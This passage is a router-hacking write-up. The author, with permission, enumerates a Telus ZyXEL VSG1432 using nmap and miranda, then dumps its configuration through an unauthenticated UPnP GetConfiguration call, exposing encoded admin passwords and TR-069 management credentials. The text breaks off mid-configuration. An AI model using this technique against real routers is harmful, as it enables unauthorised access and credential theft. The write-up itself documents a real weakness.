A friend of mine recently issued me with a challenge to try to break into his router. I would have LAN access (via WiFi), but that would be it, no touchy touchy. I’d wanted the chance to try and get a copy of the firmware on these routers, as it isn’t available for download, in order to poke around. This router came with a package from Telus so it was likely running firmware that differed in some way to the stock ZyXEL image.
After grabbing the laptop out and firing it up, the first order of business was to head on over to the web portal and try some default usernames and passwords. There are a few lists around but none of the passwords worked. It appears that Telus set all the passwords via remote management (CWMP / TR069) so the next stop was nmap.
nada@nemph:~/working/zyxel_vsg1432$ sudo nmap -sSU -nvv -A 192.168.1.254 -oN router.nmap Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-10-23 18:25 PDT NSE: Loaded 122 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 18:25 Completed NSE at 18:25, 0.00s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 18:25 Completed NSE at 18:25, 0.00s elapsed Initiating ARP Ping Scan at 18:25 Scanning 192.168.1.254 [1 port] Completed ARP Ping Scan at 18:25, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 18:25 Scanning 192.168.1.254 [1000 ports] Discovered open port 443/tcp on 192.168.1.254 Discovered open port 80/tcp on 192.168.1.254 Discovered open port 5431/tcp on 192.168.1.254 Completed SYN Stealth Scan at 18:25, 1.97s elapsed (1000 total ports) Initiating UDP Scan at 18:25 Scanning 192.168.1.254 [1000 ports] Discovered open port 53/udp on 192.168.1.254 Completed UDP Scan at 18:42, 1002.42s elapsed (1000 total ports) Initiating Service scan at 18:42 Scanning 7 services on 192.168.1.254 Service scan Timing: About 50.00% done; ETC: 18:44 (0:00:41 remaining) Completed Service scan at 18:44, 87.57s elapsed (7 services on 1 host) Initiating OS detection (try #1) against 192.168.1.254 NSE: Script scanning 192.168.1.254. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 18:44 Discovered open port 1900/udp on 192.168.1.254 NSE Timing: About 99.82% done; ETC: 18:44 (0:00:00 remaining) Completed NSE at 18:44, 34.56s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 18:44 Completed NSE at 18:44, 0.00s elapsed Nmap scan report for 192.168.1.254 Host is up, received arp-response (0.019s latency). Scanned at 2015-10-23 18:25:54 PDT for 1128s Not shown: 1993 closed ports Reason: 996 port-unreaches and 997 resets PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 micro_httpd |_http-methods: No Allow or Public header in OPTIONS response (status code 501) |_http-server-header: micro_httpd |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http syn-ack ttl 64 micro_httpd | http-cisco-anyconnect: |_ ERROR: Not a Cisco ASA or unsupported version | ssl-cert: Subject: commonName=ZyXELModem.Home/organizationName=ZyXEL/stateOrProvinceName=Taiwan/countryName=TW/organizationalUnitName=MSG/emailAddress=zyxel@zyxel.com.tw/localityName=HsinChu | Issuer: commonName=ZyXELRootCA/organizationName=ZyXEL/stateOrProvinceName=Taiwan/countryName=TW/organizationalUnitName=MSG/emailAddress=zyxel@zyxel.com.tw/localityName=HsinChu | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2010-05-18T15:08:34 | Not valid after: 2030-05-18T15:08:34 | MD5: b3be e3c0 608c 8e86 ee36 83e6 f961 a209 | SHA-1: 6232 c906 2882 6410 d0e9 b775 e17c 51f0 6968 86e1 | -----BEGIN CERTIFICATE----- | MIIDzTCCArWgAwIBAgIJAO1ZB6AbT50/MA0GCSqGSIb3DQEBBQUAMIGHMQswCQYD | VQQGEwJUVzEPMA0GA1UECBMGVGFpd2FuMRAwDgYDVQQHEwdIc2luQ2h1MQ4wDAYD | VQQKEwVaeVhFTDEMMAoGA1UECxMDTVNHMRQwEgYDVQQDEwtaeVhFTFJvb3RDQTEh | MB8GCSqGSIb3DQEJARYSenl4ZWxAenl4ZWwuY29tLnR3MB4XDTEwMDUxODE1MDgz | NFoXDTMwMDUxODE1MDgzNFowgYsxCzAJBgNVBAYTAlRXMQ8wDQYDVQQIEwZUYWl3 | YW4xEDAOBgNVBAcTB0hzaW5DaHUxDjAMBgNVBAoTBVp5WEVMMQwwCgYDVQQLEwNN | U0cxGDAWBgNVBAMTD1p5WEVMTW9kZW0uSG9tZTEhMB8GCSqGSIb3DQEJARYSenl4 | ZWxAenl4ZWwuY29tLnR3MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA | thPSlYnw9YpbQw2JC5FtpigGXc+GGgxO1ns7+tpwndkLDBfBE/YXWQDd1CGe1wUX | 98CGqXOWjTbtpl0m8bht7JCZCoeAcYFFtrOWe69WxZU0lsL+DaUOqxERNjRKjx84 | BFxvHnA9R8yOSsZWbxHZRXVVil8Vfg5lBUPN1jK3M74n3J7D0UCAA8FU7BuMQxkd | xlB4snIAgu6aZHQssMrmkS670y2qDAMQxudCo+5t94P0ADsRYcAOa7w7nPbuqic+ | u1Jrzx4pQwDY3hIB8etNf2UG0jstjUvy2SO+Qg+AxhbOByguGXiWPxjw8fhANrKb | v3QXkfnX5b4QaQnJNNZgMQIDAQABozYwNDAaBgNVHREEEzARgg9aeVhFTE1vZGVt | LkhvbWUwCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwDQYJKoZIhvcNAQEFBQADggEB | ALhE9EtbCS67Za6c75ufQwNx6Q6Evrgbz2EFJsFVQS2axlH9eM7kUpUcA/X3MXKE | BUBZNlj+Ch41LUJVW4MJ9rVlchKHZjrplrgM/60dBH2IU8AVTOcOOns+RP2KCc7F | Y1pJQf0mqgQev6uYwC1zp70ENsfrqUNOOaDD7oUS46S3p5KE6MDoQVvpIXXR/KCi | sJ1VXnJfENr/BnPXJH3HexwxIOiZEbjKmMzCKA23OISFQdlaK6OEsAo0eRy+8iIK | 6fm5oZECK3KEir6YkOrJwEXtSn9qAmsQnYYcs6RPS3To5Eo7drekPRxhL75EYet1 | 8MC2p+Jli88EYGDqkAmQuW4= |_-----END CERTIFICATE----- 5431/tcp open upnp syn-ack ttl 64 ZyXEL wireless router UPnP (UPnP 1.0; ZyXEL-UPnP 1.0) 53/udp open domain udp-response ttl 64 ISC BIND hostmaster |_dns-recursion: Recursion appears to be enabled 67/udp open|filtered dhcps no-response 69/udp open|filtered tftp no-response 1900/udp open upnp? script-set | upnp-info: | 192.168.1.254 | Server: Custom/1.0 UPnP/1.0 Proc/Ver |_ Location: http://192.168.1.254:5431/dyndev/uuid:cc5d4ead-30cc-cc30-ad4e-5dcc5dadcc00 MAC Address: CC:5D:4E:XX:XX:XX (ZyXEL Communications) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.30 TCP/IP fingerprint: OS:SCAN(V=6.49BETA5%E=4%D=10/23%OT=21%CT=1%CU=2%PV=Y%DS=1%DC=D%G=Y%M=CC5D4E OS:%TM=562AE28B%P=x86_64-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=D8%TI=Z%CI=Z%II=I OS:%TS=A)OPS(O1=M5B4ST11NW1%O2=M5B4ST11NW1%O3=M5B4NNT11NW1%O4=M5B4ST11NW1%O OS:5=M5B4ST11NW1%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6 OS:=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW1%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST OS:11NW1%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T= OS:40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=1 OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Uptime guess: 5.554 days (since Sun Oct 18 05:26:16 2015) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=202 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OSs: Linux, Linux 2.6; Devices: WAP, router; CPE: cpe:/h:dlink:dls-2750u, cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:2.6 TRACEROUTE HOP RTT ADDRESS 1 19.49 ms 192.168.1.254 NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 18:44 Completed NSE at 18:44, 0.00s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 18:44 Completed NSE at 18:44, 0.00s elapsed Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1129.09 seconds Raw packets sent: 2374 (86.324KB) | Rcvd: 2133 (102.794KB) nada@nemph:~/working/zyxel_vsg1432$
Aside from the web portal (and a self signed https certificate) there was DNS and UPnP available. Not expecting much from UPnP, I fired up miranda to have a look.
nada@nemph:~/working/zyxel_vsg1432$ miranda upnp> msearch
Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...
**************************************************************** SSDP reply message from 192.168.1.254:5431 XML file is located at http://192.168.1.254:5431/dyndev/uuid:cc5d4ead-30cc-cc30-ad4e-5dcc5dadcc00 Device is running Custom/1.0 UPnP/1.0 Proc/Ver ****************************************************************
**************************************************************** SSDP reply message from 192.168.1.254:1780 XML file is located at http://192.168.1.254:1780/WFADevice.xml Device is running POSIX UPnP/1.0 UPnP Stack/estimation 1.00 ****************************************************************
**************************************************************** SSDP reply message from 192.168.1.254:49431 XML file is located at http://192.168.1.254:49431/devicedesc.xml Device is running Custom/1.0 UPnP/1.0 Proc/Ver ****************************************************************
Discover mode halted...
pnp>
That’s interesting, 3 services came back from the router. Normally there is only one for port forwarding. One of the services also seems to be different software that the other two. Time to dig deeper…
upnp> host info 0
xmlFile : http://192.168.1.254:5431/dyndev/uuid:cc5d4ead-30cc-cc30-ad4e-5dcc5dadcc00
name : 192.168.1.254:5431
proto : http://
serverType : LINUX/2.6 UPnP/1.0 ZyXEL-UPnP/1.0
upnpServer : Custom/1.0 UPnP/1.0 Proc/Ver
dataComplete : True
deviceList : {}
upnp> host info 0 deviceList
InternetGatewayDevice : {}
WANDevice : {}
WANConnectionDevice : {}
upnp> host info 0 deviceList InternetGatwayDevice
modelName : VSG1432
modelNumber : 1.0
presentationURL : http://192.168.1.254:80/
friendlyName : VSG1432
fullName : urn:schemas-upnp-org:device:InternetGatewayDevice:1
modelDescription : Single-chip xDSL router
UDN : uuid:cc5d4ead-30cc-cc30-ad4e-5dcc5dadcc00
manufacturer : TELUS
services : {}
upnp> host info 0 deviceList InternetGatewayDevice services
Layer3Forwarding : {}
upnp>
So that one was expected. This is how programs get a external port forwarded to them. 2 more hosts to go…
upnp> host info 1
xmlFile : http://192.168.1.254:1780/WFADevice.xml
name : 192.168.1.254:1780
proto : http://
serverType : None
upnpServer : POSIX UPnP/1.0 UPnP Stack/estimation 1.00
dataComplete : True
deviceList : {}
upnp> host info 1 deviceList
WFADevice : {}
upnp> host info 1 deviceList WFADevice
manufacturerURL : http://www.broadcom.com
modelName : WPS
modelNumber : X1
friendlyName : WFADevice
fullName : urn:schemas-wifialliance-org:device:WFADevice:1
modelDescription : Wireless Device
UDN : uuid:771fc7b1-afd4-5fed-72b6-19fe6b19e954
manufacturer : Broadcom Corporation
services : {}
upnp> host info 1 deviceList WFADevice services
WFAWLANConfig : {}
upnp> host info 1 deviceList WFADevice services WFAWLANConfig
eventSubURL : /event?WFAWLANConfig
controlURL : /control?WFAWLANConfig
serviceId : urn:wifialliance-org:serviceId:WFAWLANConfig1
SCPDURL : /x_wfawlanconfig.xml
fullName : urn:schemas-wifialliance-org:service:WFAWLANConfig:1
actions : {}
serviceStateVariables : {}
upnp> host info 1 deviceList WFADevice services WFAWLANConfig actions
SetAPSettings : {}
PutMessage : {}
SetSelectedRegistrar : {}
GetSTASettings : {}
ResetSTA : {}
RebootSTA : {}
ResetAP : {}
DelSTASettings : {}
SetSTASettings : {}
GetAPSettings : {}
RebootAP : {}
PutWLANResponse : {}
DelAPSettings : {}
GetDeviceInfo : {}
upnp> host send 1 WFADevice WFAWLANConfig GetDeviceInfo
NewDeviceInfo : <Binary Data>
Well, that was somewhat interesting. The binary data contained the model number, manufacturer and other data. Not immediately useful tho. It looks like you could have some fun with the RebootSTA, RebootAP and DelAPSettings actions, if you were that way inclined. Let’s see what the final host contains.
upnp> host info 2
xmlFile : http://192.168.1.254:49431/devicedesc.xml
name : 192.168.1.254:49431
proto : http://
serverType : LINUX/2.6 UPnP/1.0 ZyXEL-UPnP/1.0
upnpServer : Custom/1.0 UPnP/1.0 Proc/Ver
dataComplete : True
deviceList : {}
upnp> host info 2 deviceList
InternetGatewayDevice : {}
WANDevice : {}
LANDevice : {}
WANConnectionDevice : {}
upnp> host info 2 deviceList InternetGatewayDevice
manufacturerURL : http://www.zyxel.com/
modelName : VSG1432
modelNumber : 1.0
presentationURL : http://192.168.1.254:80/
friendlyName : VSG1432
fullName : urn:dslforum-org:device:InternetGatewayDevice:1
modelDescription : Single-chip xDSL router
UDN : uuid:9a6cd2fe-340b-11e1-8730-cc5d4ead30cc
modelURL : http://www.zyxel.com/
manufacturer : TELUS
services : {}
upnp> host info 2 deviceList InternetGatewayDevice services
Layer2Bridging : {}
ManagementServer : {}
DeviceInfo : {}
IPPingDiagnostics : {}
DeviceConfig : {}
QueueManagement : {}
LANConfigSecurity : {}
Layer3Forwarding : {}
Time : {}
upnp> host info 2 deviceList InternetGatewayDevice services DeviceConfig
eventSubURL : /uuid:9a6cd2fe-340b-11e1-8730-cc5d4ead30cc/DeviceConfig:1
controlURL : /uuid:9a6cd2fe-340b-11e1-8730-cc5d4ead30cc/DeviceConfig:1
serviceId : urn:dslforum-org:service:DeviceConfig1
SCPDURL : /dynsvc/DeviceConfig:1.xml
fullName : urn:dslforum-org:service:DeviceConfig:1
actions : {}
serviceStateVariables : {}
upnp> host info 2 deviceList InternetGatewayDevice services DeviceConfig actions
GetConfiguration : {}
SetConfiguration : {}
FactoryReset : {}
ConfigurationFinished : {}
Reboot : {}
ConfigurationStarted : {}
upnp>
Oooo… GetConfiguration and SetConfiguration. This could be interesting.
upnp> host send 2 InternetGatewayDevice DeviceConfig GetConfiguration NewConfigFile : <?xml version="1.0"?> <DslCpeConfig version="3.0"> <InternetGatewayDevice> <LANDeviceNumberOfEntries>1</LANDeviceNumberOfEntries> <WANDeviceNumberOfEntries>3</WANDeviceNumberOfEntries> <DeviceInfo> <FirstUseDate>2015-02-02T21:24:36-08:00</FirstUseDate> <VendorConfigFileNumberOfEntries>0</VendorConfigFileNumberOfEntries> </DeviceInfo> <X_5067F0_IPTVSTB> <DHCPOption60>SAIP*,MSFT_IPTV,udhcp*</DHCPOption60> <DHCPOption67>CVT/2/239.192.10.200:16000+SA=239.192.10.200:16000</DHCPOption67> </X_5067F0_IPTVSTB> <X_5067F0_SyslogCfg> <Enable>TRUE</Enable> <Option>local buffer</Option> <X_5067F0_LogCategory>System,DHCP_client,PPPoE,Wireless,DHCP_server,UPnP,NAT,Static_route,DDNS,IGMP,QoS,TR-069,NTP,Firewall,MAC_filter,Forwarded_web,Blocked_web,Attack,Certificate,IPSec,Account</X_5067F0_LogCategory> </X_5067F0_SyslogCfg> <X_5067F0_LoginCfg> <AdminPassword>ZFQyN01hQ2UyWVpQAA==</AdminPassword> <X_5067F0_LoginGroupNumberOfEntries>2</X_5067F0_LoginGroupNumberOfEntries> <X_5067F0_LoginGroupConfigurable>FALSE</X_5067F0_LoginGroupConfigurable> <LatestLoginSuccessTime>1443453908</LatestLoginSuccessTime> <CurrentLoginSuccessTime>1443455994</CurrentLoginSuccessTime> <X_5067F0_Login_Group instance="1"> <GroupKey>0</GroupKey> <Privilege>broadband,homeNetworking,wireless,qos,nat,DNSSetting,IGMPSetting,firewall,macFilter,parentalControl,schedulerRules,arpTable,log,trafficStatus,igmpGroupStatus,xdslStatistics,timeSetting,logsSetting,firmwareUpgrade,configuration,reboot,disagnostic,quickStart,ntpServer</Privilege> <Name>Administrator</Name> <ConsoleLevel>2</ConsoleLevel> <Use_Login_Info instance="1"> <UserName>tech</UserName> <Password>eU5rV2lUZ3hlMEZHAA==</Password> <CurrentLoginRetryTimes>2</CurrentLoginRetryTimes> <LoginFailCountLeft>1</LoginFailCountLeft> <ShowInfo>FALSE</ShowInfo> </Use_Login_Info> <Use_Login_Info nextInstance="2" ></Use_Login_Info> </X_5067F0_Login_Group> <X_5067F0_Login_Group instance="2"> <GroupKey>2</GroupKey> <Privilege>homeNetworking,wireless,nat,DNSSetting,firewall,macFilter,parentalControl,schedulerRules,arpTable,log,timeSetting,firmwareUpgrade,configuration,reboot,disagnostic,quickStart</Privilege> <Name>User</Name> <Use_Login_Info instance="1"> <UserName>admin</UserName> <Password>WW9naTgyOAA=</Password> <LatestLoginSuccessTime>1424427974</LatestLoginSuccessTime> <LatestLoginSuccessFrom>192.168.1.XX</LatestLoginSuccessFrom> <CurrentLoginRetryTimes>3</CurrentLoginRetryTimes> <CurrentLoginSuccessTime>1425121806</CurrentLoginSuccessTime> <CurrentLoginSuccessFrom>192.168.1.XX</CurrentLoginSuccessFrom> <LoginFailCountLeft>1</LoginFailCountLeft> <ShowInfo>FALSE</ShowInfo> </Use_Login_Info> <Use_Login_Info nextInstance="2" ></Use_Login_Info> </X_5067F0_Login_Group> <X_5067F0_Login_Group nextInstance="3" ></X_5067F0_Login_Group> </X_5067F0_LoginCfg> <X_5067F0_Users> <TechPassword>eU5rV2lUZ3hlMEZHAA==</TechPassword> <RootPassword>ZFQyN01hQ2UyWVpQAA==</RootPassword> </X_5067F0_Users> <X_5067F0_PortMapping> <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries> </X_5067F0_PortMapping> <X_5067F0_AccessServiceCfg> <HttpStatus>LAN_ONLY</HttpStatus> <SshStatus>DENY_ALL</SshStatus> <TelnetStatus>DENY_ALL</TelnetStatus> <FtpStatus>DENY_ALL</FtpStatus> <HttpsStatus>LAN_ONLY</HttpsStatus> </X_5067F0_AccessServiceCfg> <X_5067F0_Access> <LANTelnetEnabled>TRUE</LANTelnetEnabled> <LANSSHEnabled>TRUE</LANSSHEnabled> </X_5067F0_Access> <X_5067F0_EthernetSwitch> <NumberOfVirtualPorts>6</NumberOfVirtualPorts> <EnableVirtualPorts>TRUE</EnableVirtualPorts> <IfName>(null)</IfName> </X_5067F0_EthernetSwitch> <ManagementServer> <URL>https://dm.telus.com</URL> <LastConnectedURL>https://dm.telus.com</LastConnectedURL> <Username>5067F0S121K09008230</Username> <Password>14229410960095067F0</Password> <PeriodicInformEnable>TRUE</PeriodicInformEnable> <PeriodicInformInterval>172800</PeriodicInformInterval> <PeriodicInformTime>2015-09-28T15:58:36-08:00</PeriodicInformTime> <ConnectionRequestURL notification="2">http://66.183.0.0:7547/tr069</ConnectionRequestURL> <ConnectionRequestUsername>5067F0-VSG1432-S121K09008230</ConnectionRequestUsername> <ConnectionRequestPassword>cbb58ec43f846541c9b88a6990d08594</ConnectionRequestPassword> </ManagementServer> <Time> <NTPServer1>pool.ntp.org</NTPServer1> <NTPServer2>clock.isc.org</NTPServer2> <LocalTimeZone>Pacific Time, Tijuana</LocalTimeZone> <LocalTimeZoneName>PST8PDT,M3.2.0/2:0,M11.1.0/2:0</LocalTimeZoneName> </Time> <Layer2Bridging> <BridgeNumberOfEntries>1</BridgeNumberOfEntries> <FilterNumberOfEntries>13</FilterNumberOfEntries> <MarkingNumberOfEntries>0</MarkingNumberOfEntries> <AvailableInterfaceNumberOfEntries>13</AvailableInterfaceNumberOfEntries> <Bridge instance="1"> <BridgeKey>0</BridgeKey> <BridgeEnable>TRUE</BridgeEnable> <BridgeName>Default</BridgeName> </Bridge> <Bridge nextInstance="2" ></Bridge> <Filter instance="1"> <FilterKey>1</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>1</FilterInterface> </Filter> <Filter instance="2"> <FilterKey>2</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>2</FilterInterface> </Filter> <Filter instance="3"> <FilterKey>3</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>3</FilterInterface> </Filter> <Filter instance="4"> <FilterKey>4</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>4</FilterInterface> </Filter> <Filter instance="5"> <FilterKey>5</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>5</FilterInterface> </Filter> <Filter instance="6"> <FilterKey>6</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterInterface>6</FilterInterface> </Filter> <Filter instance="7"> <FilterKey>7</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterInterface>7</FilterInterface> </Filter> <Filter instance="8"> <FilterKey>8</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterInterface>8</FilterInterface> </Filter> <Filter instance="9"> <FilterKey>9</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>9</FilterInterface> </Filter> <Filter instance="10"> <FilterKey>10</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>10</FilterInterface> </Filter> <Filter instance="11"> <FilterKey>11</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>11</FilterInterface> </Filter> <Filter instance="12"> <FilterKey>12</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>12</FilterInterface> </Filter> <Filter instance="13"> <FilterKey>13</FilterKey> <FilterEnable>TRUE</FilterEnable> <FilterBridgeReference>0</FilterBridgeReference> <FilterInterface>13</FilterInterface> </Filter> <Filter nextInstance="14" ></Filter> <AvailableInterface instance="1"> <AvailableInterfaceKey>1</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.1</InterfaceReference> </AvailableInterface> <AvailableInterface instance="2"> <AvailableInterfaceKey>2</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.2</InterfaceReference> </AvailableInterface> <AvailableInterface instance="3"> <AvailableInterfaceKey>3</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.3</InterfaceReference> </AvailableInterface> <AvailableInterface instance="4"> <AvailableInterfaceKey>4</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.4</InterfaceReference> </AvailableInterface> <AvailableInterface instance="5"> <AvailableInterfaceKey>5</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</InterfaceReference> </AvailableInterface> <AvailableInterface instance="6"> <AvailableInterfaceKey>6</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</InterfaceReference> </AvailableInterface> <AvailableInterface instance="7"> <AvailableInterfaceKey>7</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</InterfaceReference> </AvailableInterface> <AvailableInterface instance="8"> <AvailableInterfaceKey>8</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</InterfaceReference> </AvailableInterface> <AvailableInterface instance="9"> <AvailableInterfaceKey>9</AvailableInterfaceKey> <InterfaceType>WANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.WANIPConnection.1</InterfaceReference> </AvailableInterface> <AvailableInterface instance="10"> <AvailableInterfaceKey>10</AvailableInterfaceKey> <InterfaceType>WANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1</InterfaceReference> </AvailableInterface> <AvailableInterface instance="11"> <AvailableInterfaceKey>11</AvailableInterfaceKey> <InterfaceType>WANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.WANDevice.1.WANConnectionDevice.2.WANIPConnection.1</InterfaceReference> </AvailableInterface> <AvailableInterface instance="12"> <AvailableInterfaceKey>12</AvailableInterfaceKey> <InterfaceType>WANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.WANDevice.3.WANConnectionDevice.1.WANIPConnection.1</InterfaceReference> </AvailableInterface> <AvailableInterface instance="13"> <AvailableInterfaceKey>13</AvailableInterfaceKey> <InterfaceType>LANInterface</InterfaceType> <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.5</InterfaceReference> </AvailableInterface> <AvailableInterface nextInstance="14" ></AvailableInterface> </Layer2Bridging> <QueueManagement> <Enable>TRUE</Enable> <ClassificationNumberOfEntries>17</ClassificationNumberOfEntries> <AppNumberOfEntries>0</AppNumberOfEntries> <FlowNumberOfEntries>0</FlowNumberOfEntries> <PolicerNumberOfEntries>0</PolicerNumberOfEntries> <QueueNumberOfEntries>8</QueueNumberOfEntries> <Classification instance="1"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>1</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <DestIP>198.53.64.20</DestIP> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule1</X_5067F0_ClassName> </Classification> <Classification instance="2"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>2</ClassificationOrder> <ClassInterface>Local</ClassInterface> <DestIP>198.53.64.20</DestIP> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule2</X_5067F0_ClassName> </Classification> <Classification instance="3"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>3</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <DestIP>198.53.64.21</DestIP> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule3</X_5067F0_ClassName> </Classification> <Classification instance="4"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>4</ClassificationOrder> <ClassInterface>Local</ClassInterface> <DestIP>198.53.64.21</DestIP> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule4</X_5067F0_ClassName> </Classification> <Classification instance="5"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>5</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>17</Protocol> <DestPort>123</DestPort> <DestPortRangeMax>123</DestPortRangeMax> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule5</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="6"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>6</ClassificationOrder> <ClassInterface>Local</ClassInterface> <Protocol>17</Protocol> <DestPort>123</DestPort> <DestPortRangeMax>123</DestPortRangeMax> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule6</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="7"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>7</ClassificationOrder> <ClassInterface>Local</ClassInterface> <Protocol>17</Protocol> <DestPort>67</DestPort> <DestPortRangeMax>68</DestPortRangeMax> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule7</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="8"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>8</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>17</Protocol> <DestPort>53</DestPort> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule8</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="9"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>9</ClassificationOrder> <ClassInterface>Local</ClassInterface> <Protocol>17</Protocol> <DestPort>53</DestPort> 